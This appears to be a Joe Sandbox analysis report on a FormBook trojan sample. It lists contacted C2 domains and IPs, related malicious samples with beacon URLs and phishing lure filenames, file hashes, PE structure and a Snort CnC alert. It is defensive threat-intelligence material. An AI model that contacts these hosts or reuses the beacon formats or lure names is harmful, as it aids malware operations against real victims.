                                        http://www.carefulapp.comReferer:explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.typography.netDmQY9ka5sW6hv2Ri.exe, 00000000.00000002.1662597721.0000000006B12000.00000004.00000800.00020000.00000000.sdmpfalse
                                        • URL Reputation: safe
                                        		unknown
                                        http://www.galapagosdesign.com/staff/dennis.htmmQY9ka5sW6hv2Ri.exe, 00000000.00000002.1662597721.0000000006B12000.00000004.00000800.00020000.00000000.sdmpfalse
                                        • URL Reputation: safe
                                        		unknown
                                        http://www.carefulapp.com/dy13/www.freedompopo.comexplorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.umeshraja.com/dy13/explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNewexplorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.sdplat.media/dy13/explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown

                                        World Map of Contacted IPs

                                        • No. of IPs < 25%
                                        • 25% < No. of IPs < 50%
                                        • 50% < No. of IPs < 75%
                                        • 75% < No. of IPs

                                        Public IPs

                                        IPDomainCountryFlagASNASN NameMalicious
                                        3.226.182.14
                                        		reticulated-garbanzo-p6jx8r0u3hbz71yu1pcvzfk0.herokudns.comUnited States
                                        		14618AMAZON-AESUStrue
                                        185.53.179.90
                                        		www.real-estate-96841.bondGermany
                                        		61969TEAMINTERNET-ASDEtrue
                                        185.151.30.212
                                        		www.cpuk-finance.comUnited Kingdom
                                        		48254TWENTYIGBtrue
                                        3.33.130.190
                                        		umeshraja.comUnited States
                                        		8987AMAZONEXPANSIONGBtrue
                                        147.92.43.172
                                        		2tduz67r.as66588.comHong Kong
                                        		59371DNC-ASDimensionNetworkCommunicationLimitedHKtrue
                                        104.21.74.89
                                        		www.b0ba138.xyzUnited States
                                        		13335CLOUDFLARENETUStrue

                                        General Information

                                        Joe Sandbox version:40.0.0 Tourmaline
                                        Analysis ID:1465619
                                        Start date and time:2024-07-01 21:24:05 +02:00
                                        Joe Sandbox product:CloudBasic
                                        Overall analysis duration:0h 11m 38s
                                        Hypervisor based Inspection enabled:false
                                        Report type:full
                                        Cookbook file name:default.jbs
                                        Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                        Number of analysed new started processes analysed:12
                                        Number of new started drivers analysed:0
                                        Number of existing processes analysed:0
                                        Number of existing drivers analysed:0
                                        Number of injected processes analysed:1
                                        Technologies:
                                        • HCA enabled
                                        • EGA enabled
                                        • AMSI enabled
                                        Analysis Mode:default
                                        Analysis stop reason:Timeout
                                        Sample name:mQY9ka5sW6hv2Ri.exe
                                        Detection:MAL
                                        Classification:mal100.troj.evad.winEXE@524/1@12/6
                                        EGA Information:
                                        • Successful, ratio: 100%
                                        HCA Information:
                                        • Successful, ratio: 99%
                                        • Number of executed functions: 156
                                        • Number of non-executed functions: 291
                                        Cookbook Comments:
                                        • Found application associated with file extension: .exe
                                        • Override analysis time to 240000 for current running targets taking high CPU consumption

                                        Warnings

                                        • Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
                                        • Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                                        • Not all processes where analyzed, report is missing behavior information
                                        • Report creation exceeded maximum time and may have missing disassembly code information.
                                        • Report size exceeded maximum capacity and may have missing behavior information.
                                        • Report size exceeded maximum capacity and may have missing disassembly code.
                                        • Report size getting too big, too many NtEnumerateKey calls found.
                                        • Report size getting too big, too many NtOpenKey calls found.
                                        • Report size getting too big, too many NtOpenKeyEx calls found.
                                        • Report size getting too big, too many NtQueryValueKey calls found.
                                        • VT rate limit hit for: mQY9ka5sW6hv2Ri.exe

                                        Simulations

                                        Behavior and APIs

                                        TimeTypeDescription
                                        15:24:52API Interceptor1x Sleep call for process: mQY9ka5sW6hv2Ri.exe modified
                                        15:25:00API Interceptor10559077x Sleep call for process: explorer.exe modified
                                        15:25:44API Interceptor9369216x Sleep call for process: msdt.exe modified

                                        Joe Sandbox View / Context

                                        IPs

                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                        3.226.182.14kpCSGLBxAw2RnrW.exeGet hashmaliciousFormBookBrowse
                                        • www.sdplat.media/dy13/?jDHph=ZKZE34m65eQ5fgmhhL/Oxkx+yV2XZDJ4QNe5btj3ut8Iv1OZ3MT37vqx3/rNgL3wKgTJnNuPCQ==&Wt=IBZX4leh3ZCl
                                        Forligsmnd.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                        • www.himebauch.live/gu1b/
                                        venerationens.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                        • www.himebauch.live/5ogg/
                                        Interviewed.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                        • www.himebauch.live/5ogg/
                                        Fishpoles.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                        • www.himebauch.live/5ogg/
                                        Moderatestes.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                        • www.himebauch.live/gu1b/
                                        Sandflugters.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                        • www.himebauch.live/tsq7/
                                        Yolk.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                        • www.himebauch.live/hjen/
                                        Lokalplanlgningen.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                        • www.himebauch.live/tsq7/
                                        Reaeration.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                        • www.himebauch.live/tsq7/
                                        185.53.179.90DHL ARRIVAL DOCUMENTS.pdf.exeGet hashmaliciousFormBookBrowse
                                        • www.abandoned-houses-39863.bond/rn94/?SXm49b=+TOTySD/xKzI1m9iyt2YV9oe7irabqlb0FG3M+MtGGXp3TOb0Tp0F4yVfcCxStplS5t4N3XNSA==&CP60e=Nj5TAPxx-d38Ipw0
                                        TT-SWIFT-Schindler.exeGet hashmaliciousFormBookBrowse
                                        • www.flower-us-delivery.bond/m10e/
                                        cca9sXT33VsAEdu.exeGet hashmaliciousFormBookBrowse
                                        • www.real-estate-96841.bond/dy13/?ITots6U=QEHoM+bsIXkyCOBHdtOSz9RRIKYxAFZVZwkeDGKMWY6YfTbawsJCAKRBbAi68MzzIie5&DHRL9=9rjXGh4
                                        100560251 jpg.exeGet hashmaliciousFormBook, DBatLoaderBrowse
                                        • www.mid-size-suv-87652.com/kmge/
                                        SecuriteInfo.com.Trojan.DownLoader45.65183.28425.18884.exeGet hashmaliciousFormBook, DBatLoaderBrowse
                                        • www.mid-size-suv-87652.com/kmge/
                                        emir_PDF.exeGet hashmaliciousDBatLoader, FormBookBrowse
                                        • www.dental-implants-52958.com/ges9/?C4=dcmsN+euVkSaJmWI0es1ah40w3uZLJeCAwbD+x+ksTCqkmjtc8ueAQxOeNoJ/HKOJwS3&E6=1buXqVShNpY
                                        proforma_fatura_pdf.exeGet hashmaliciousFormBookBrowse
                                        • www.dental-implants-52958.com/ges9/?2dB=dcmsN+euVkSaJmWI0es1ah40w3uZLJeCAwbD+x+ksTCqkmjtc8ueAQxOeOIzvWq2TXzw&p48=fN9hZlFPFF
                                        Hesaphareketi-01.exeGet hashmaliciousFormBookBrowse
                                        • www.house-market-83622.com/by94/?W4hT-=gPs4R5Rrv4fddvFtkP8of0e3GovuEZtbdBz7MYF1aEh4TEQYkoh0nFDVShvD+z7TosQdHEZxEw==&4hI=-ZwP8bDh3ZxXB
                                        E-dekont_pdf.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                        • www.furniture-61686.com/mi94/?2dCtIp=8pAXjvKhwP&7n-Lh=c9XLkKzZuO0py6g1xPdswXMX5NoX1FOKmat/CxXpy/HRSPu3IeXDT300PcCDZZ6h5UkV
                                        ekstre_pdf.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                        • www.furniture-42269.com/mi94/?3fK0g=JxoL4&_N6l56=tM0cIu22lGNJS/LLx6gRwRxjNM5U60YmJux6FPvQAEnMOjJPh3bRcysDmxXQITeHVyGL
                                        185.151.30.212kpCSGLBxAw2RnrW.exeGet hashmaliciousFormBookBrowse
                                        • www.cpuk-finance.com/dy13/?Efvh=gDxxMnsI36st3zAAJ1+A3hDmBOM78/3mfYHyjE1VNrqBuQQdV+RDpqUMPEi2D8lS3FgFVwKwvg==&ndsh-n=RzuPe
                                        cca9sXT33VsAEdu.exeGet hashmaliciousFormBookBrowse
                                        • www.cpuk-finance.com/dy13/?ITots6U=gDxxMnsI36st3zAAJ1+A3hDmBOM78/3mfYHyjE1VNrqBuQQdV+RDpqUMPHOpbM5p0ydZ&DHRL9=9rjXGh4

                                        Domains

                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                        2tduz67r.as66588.comkpCSGLBxAw2RnrW.exeGet hashmaliciousFormBookBrowse
                                        • 147.92.43.172
                                        lhDCR5RvXwLbWQu.exeGet hashmaliciousFormBookBrowse
                                        • 147.92.43.172
                                        reticulated-garbanzo-p6jx8r0u3hbz71yu1pcvzfk0.herokudns.comkpCSGLBxAw2RnrW.exeGet hashmaliciousFormBookBrowse
                                        • 3.226.182.14
                                        lhDCR5RvXwLbWQu.exeGet hashmaliciousFormBookBrowse
                                        • 3.226.182.14
                                        www.real-estate-96841.bondcca9sXT33VsAEdu.exeGet hashmaliciousFormBookBrowse
                                        • 185.53.179.90
                                        www.b0ba138.xyzcca9sXT33VsAEdu.exeGet hashmaliciousFormBookBrowse
                                        • 172.67.168.2
                                        www.cpuk-finance.comkpCSGLBxAw2RnrW.exeGet hashmaliciousFormBookBrowse
                                        • 185.151.30.212
                                        lhDCR5RvXwLbWQu.exeGet hashmaliciousFormBookBrowse
                                        • 185.151.30.212
                                        IZPnmcCu5EZWa98.exeGet hashmaliciousFormBookBrowse
                                        • 185.151.30.212
                                        cca9sXT33VsAEdu.exeGet hashmaliciousFormBookBrowse
                                        • 185.151.30.212

                                        ASNs

                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                        AMAZONEXPANSIONGBhttps://rlcold.com/projects/Get hashmaliciousUnknownBrowse
                                        • 52.223.34.155
                                        Quotation List Pdf.exeGet hashmaliciousFormBookBrowse
                                        • 3.33.244.179
                                        2024 Lusail Fence-WITH STICKER-2-003.exeGet hashmaliciousFormBookBrowse
                                        • 3.33.130.190
                                        PROFORMA INVOICE - MV CNC BANGKOK - ST24PJ-287.exeGet hashmaliciousFormBookBrowse
                                        • 3.33.130.190
                                        h8N9qpyRAPaiitu.exeGet hashmaliciousFormBookBrowse
                                        • 3.33.130.190
                                        DHL Receipt_AWB#20240079104.exeGet hashmaliciousFormBookBrowse
                                        • 3.33.130.190
                                        file.exeGet hashmaliciousFormBookBrowse
                                        • 3.33.130.190
                                        Doc3.docxGet hashmaliciousUnknownBrowse
                                        • 52.223.40.198
                                        kpCSGLBxAw2RnrW.exeGet hashmaliciousFormBookBrowse
                                        • 3.33.130.190
                                        AWB 112-17259653.exeGet hashmaliciousFormBookBrowse
                                        • 3.33.130.190
                                        AMAZON-AESUShttps://url7304.disco-mailer.net/ls/click?upn=u001.DWLeRfOXStcSaUNphm6ZnGquuezyvOF0FIuLMCSCrIQ9t3e8n3fjexKHJjVTV-2BQUFT1dnxR3BcyXaxz-2BblhjX71zswvTIlAGm31luuFhJgeOGXb3dn9Itq74-2Fe-2BlKg-2BsifZ0P3LuL0HqpFUcy5KfK9QeOmqsfmIEc7vCi5RUNYAmHuUkmPbyWNQo21wM4ryo-2FADTfkOHCFzQz9AfxslydM-2BQsZbYdRmEOsrKC6-2BHKIs-3DDCG-_5KlZmZKASPtIpYbHU6HHQmxS-2FHe3g010GX01BBBmlalJnMdBClXoEYQADKPWInqgHw-2B5921oa-2Fum9DxIHV8wgOarlsOnYJwzp6I2lNDfeCSZBLYE5encCC3TGSWK2LST4tKK1uZVi4Xb22gSLa7ZYTGX5jE2xI-2FJGPm05-2FCw7wD7pg9S-2BMlyoLVyYYI8XzxlbyIibtSxK5W34N4zUZcdEdWsHl9BgrHyN42GvxqNWNxOcvycXMS4jIOdp4d6ScmDF-2BS6MhsBDgIQSJ8ghxJEmce30vrIXxr7TL-2BhC3-2BvVpeuPaT49M08MEQU3810FxWnRV-2Fb0eBiTGYcXY48d1SDaE1rDl8oYsyAd2YQadCaGkdgfEKfDLAyjoaWqdQQl4JUGet hashmaliciousHTMLPhisherBrowse
                                        • 44.214.123.156
                                        https://workforce.us2.sterlingcheck.app/Account/Begin?ORDERDATA=kv%7cthg0qDmA6mST2O%2fGsPpgVw1I4wZV%7cbPqHWgkwEQReNVW09XAyGMlbzgNeO8euWMp9p7QVwZ%2fAJNhpujQsgJiv3iNNC6l%7c6N5v%2fwXfdWw%3d&locale=en-USGet hashmaliciousUnknownBrowse
                                        • 54.198.170.180
                                        ikFn0h3xhF.elfGet hashmaliciousMiraiBrowse
                                        • 54.56.77.203
                                        Lu4qSit8YR.elfGet hashmaliciousUnknownBrowse
                                        • 44.207.141.48
                                        lQC7IiMNX1.elfGet hashmaliciousMiraiBrowse
                                        • 54.224.114.193
                                        2T9ShVKj85.elfGet hashmaliciousMiraiBrowse
                                        • 54.56.30.249
                                        http://url2530.tvsmotor.com/ls/click?upn=u001.smInq0-2BkNc5oRshkzMLE7U6zcio2-2F9zwu1ZIXUanV0NJI-2BOrcqj0f4SCu-2B-2BWZYRJ5WulbQ5i5mBsK1zXEak-2FiMRG64aR-2FUGiDgoHteplEfqii9y-2FZm8OviJTU1sjmz7jpaYlxIO-2FZqsCEMZLobIAuBKqKOl6jqYqSAHVwBkUZuGRzhvuesvLIb-2BOJaFEug0CnemcJJ-2FkU8Glr1M3HQvGDefjjvAc1VCRhzhBKQTVpjzhejQ8Rhu1zO1vWGAUfUeULJrKwFSbIOyWIUfIv-2Flo3yTYESP-2B78w2V31KWz3gTVG4x9fJGaMxyv5FQX0-2FC02SNh0q62WGV8moxgoMPN13ug-3D-3D0M2T_RK3E7lcHJh6RzNRog0V2Ww4F1i1LQS7pYYmvozE9BtFWFH8CBc2C7lCJRjsdH3VwNbJDjo91Q5gKMT9cCcdXw8AkweIV-2FNLnytbk6yO5x98zOjWQvldOWLzS2kOJk-2Bc9a9xwBmgqVDiuxw1Lx4HAzZ-2Bjhc2IjRsVwgsa2WyKs6mVKScqAKEYCpz9uhwD3RMPm3P4ijESTEtLH2hoAVbwO9XnUT-2BT6XJFuujR9hf41ZQ-3DGet hashmaliciousHTMLPhisherBrowse
                                        • 3.233.52.245
                                        https://teamfahad.com/fcilender/Untitled/?id=293bn5&p=page_1&c=1Get hashmaliciousUnknownBrowse
                                        • 100.24.180.144
                                        https://teamfahad.com/fcilender/Untitled/?id=293bn5&p=page_1&c=1Get hashmaliciousUnknownBrowse
                                        • 50.17.171.220
                                        https://indd.adobe.com/view/2bab4c20-5db8-4df4-abb1-5e8820aa4ec8Get hashmaliciousUnknownBrowse
                                        • 34.193.227.236
                                        TWENTYIGBkpCSGLBxAw2RnrW.exeGet hashmaliciousFormBookBrowse
                                        • 185.151.30.212
                                        ORDEN DE COMPRA URGENTEsxlx..exeGet hashmaliciousFormBookBrowse
                                        • 185.151.30.199
                                        BANCO SWIFTs#U0334x#U0334l#U0334x#U0334..exeGet hashmaliciousFormBookBrowse
                                        • 185.151.30.199
                                        BANCO SWIFTs#U0334x#U0334l#U0334x#U0334..exeGet hashmaliciousFormBookBrowse
                                        • 185.151.30.199
                                        cca9sXT33VsAEdu.exeGet hashmaliciousFormBookBrowse
                                        • 185.151.30.212
                                        z26PEDIDODECOMPRAURGENTE___s___x___l___x____.exeGet hashmaliciousFormBookBrowse
                                        • 185.151.30.199
                                        ORDEN DE COMPRAs#U034fx#U034fl#U034fx#U034f..exeGet hashmaliciousFormBookBrowse
                                        • 185.151.30.199
                                        MUESTRA DE ORDEN DE COMPRA pdf.exeGet hashmaliciousFormBookBrowse
                                        • 185.151.30.199
                                        DRAFT 99577590.exeGet hashmaliciousFormBookBrowse
                                        • 185.151.30.215
                                        DEBIT NOTE.exeGet hashmaliciousFormBookBrowse
                                        • 185.151.30.215
                                        TEAMINTERNET-ASDECheat.malware_exe.exeGet hashmaliciousUnknownBrowse
                                        • 185.53.177.31
                                        Cheat.malware_exe.exeGet hashmaliciousUnknownBrowse
                                        • 185.53.177.31
                                        2024 Lusail Fence-WITH STICKER-2-003.exeGet hashmaliciousFormBookBrowse
                                        • 185.53.179.91
                                        DHL AWB DOCUMENT.pdf.exeGet hashmaliciousFormBookBrowse
                                        • 185.53.179.93
                                        yq5xNPpWCT.exeGet hashmaliciousPureLog Stealer, SystemBCBrowse
                                        • 185.53.177.112
                                        Documento di bonifico bancario intesa Sanpaola 20240613 EUR23750.exeGet hashmaliciousFormBookBrowse
                                        • 185.53.179.92
                                        DHL ARRIVAL DOCUMENTS.pdf.exeGet hashmaliciousFormBookBrowse
                                        • 185.53.179.90
                                        Mbabane.exeGet hashmaliciousFormBookBrowse
                                        • 185.53.178.13
                                        http://protect.dscsec.com/software.htmGet hashmaliciousHTMLPhisherBrowse
                                        • 185.53.179.29
                                        TT-SWIFT-Schindler.exeGet hashmaliciousFormBookBrowse
                                        • 185.53.179.90

                                        JA3 Fingerprints

                                        ⊘No context

                                        Dropped Files

                                        ⊘No context

                                        Created / dropped Files

                                        C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\mQY9ka5sW6hv2Ri.exe.log

                                        Download File
                                        Process:C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exe
                                        File Type:ASCII text, with CRLF line terminators
                                        Category:dropped
                                        Size (bytes):1216
                                        Entropy (8bit):5.34331486778365
                                        Encrypted:false
                                        SSDEEP:24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
                                        MD5:1330C80CAAC9A0FB172F202485E9B1E8
                                        SHA1:86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
                                        SHA-256:B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
                                        SHA-512:75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
                                        Malicious:true
                                        Reputation:high, very likely benign file
                                        Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

                                        Static File Info

                                        General

                                        File type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                        Entropy (8bit):7.931221851029129
                                        TrID:
                                        • Win32 Executable (generic) Net Framework (10011505/4) 49.79%
                                        • Win32 Executable (generic) a (10002005/4) 49.75%
                                        • Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36%
                                        • Windows Screen Saver (13104/52) 0.07%
                                        • Win16/32 Executable Delphi generic (2074/23) 0.01%
                                        File name:mQY9ka5sW6hv2Ri.exe
                                        File size:598'016 bytes
                                        MD5:e97620420d37596704d9f4fa70303453
                                        SHA1:533b98b289ba07c446f8350950fdbee2ab39dcf2
                                        SHA256:a5a3067e6a3c4e957152655df5c68ce4db77f8308feff43c53e7535031033be5
                                        SHA512:a5ee774c492216568a9c16768cf83188cc261e1f4888cbe4aff9717bc13bccade2594ffe04bac35367213e8b3288e2671841320d529aa5f5a168e1756c6c7ed3
                                        SSDEEP:12288:wanv6lRPM97SMRgqbFwWAEY/Z1NJQtUa2e0szSoMXGjxbFtACUYsOl7n9W1ei:5IRombqbFwWrYn7Q32e0GSUptACOOBn9
                                        TLSH:5BD423B232789DA7CEBCAAF9046A006403F1E75605A2FBD80CCA71C54AF2F546D15B5F
                                        File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f..............0...... ......6.... ... ....@.. .......................`............@................................

                                        File Icon

                                        Icon Hash:6145b2b1e4a4b186

                                        Static PE Info

                                        General

                                        Entrypoint:0x491036
                                        Entrypoint Section:.text
                                        Digitally signed:false
                                        Imagebase:0x400000
                                        Subsystem:windows gui
                                        Image File Characteristics:EXECUTABLE_IMAGE, 32BIT_MACHINE
                                        DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                                        Time Stamp:0x6682C0CD [Mon Jul 1 14:44:29 2024 UTC]
                                        TLS Callbacks:
                                        CLR (.Net) Version:
                                        OS Version Major:4
                                        OS Version Minor:0
                                        File Version Major:4
                                        File Version Minor:0
                                        Subsystem Version Major:4
                                        Subsystem Version Minor:0
                                        Import Hash:f34d5f2d4577ed6d9ceec516c1f5a744

                                        Entrypoint Preview

                                        Instruction
                                        jmp dword ptr [00402000h]
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al
                                        add byte ptr [eax], al

                                        Data Directories

                                        NameVirtual AddressVirtual Size Is in Section
                                        IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                        IMAGE_DIRECTORY_ENTRY_IMPORT0x90fe40x4f.text
                                        IMAGE_DIRECTORY_ENTRY_RESOURCE0x920000x16b4.rsrc
                                        IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                        IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                        IMAGE_DIRECTORY_ENTRY_BASERELOC0x940000xc.reloc
                                        IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                        IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                        IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                        IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                        IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                        IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                        IMAGE_DIRECTORY_ENTRY_IAT0x20000x8.text
                                        IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                        IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x20080x48.text
                                        IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                        Sections

                                        NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                        .text0x20000x8f03c0x8f800082b578777ea3fbd6c92cdde6868eeb2False0.9496049515461672data7.955074705738379IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                        .rsrc0x920000x16b40x1800cebf23dec9a125a231b630f9d15503c1False0.8045247395833334data7.038111676306673IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                        .reloc0x940000xc0x8007700f3fa5c5782e102878dddfdedc467False0.015625data0.03037337037012526IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                        Resources

                                        NameRVASizeTypeLanguageCountryZLIB Complexity
                                        RT_ICON0x920c80x129fPNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced0.9418921753723516
                                        RT_GROUP_ICON0x933780x14data1.05
                                        RT_VERSION0x9339c0x312data0.43765903307888043

                                        Imports

                                        DLLImport
                                        mscoree.dll_CorExeMain

                                        Network Behavior

                                        Snort IDS Alerts

                                        TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
                                        07/01/24-21:26:17.877094TCP2031412ET TROJAN FormBook CnC Checkin (GET)4974380192.168.2.43.226.182.14
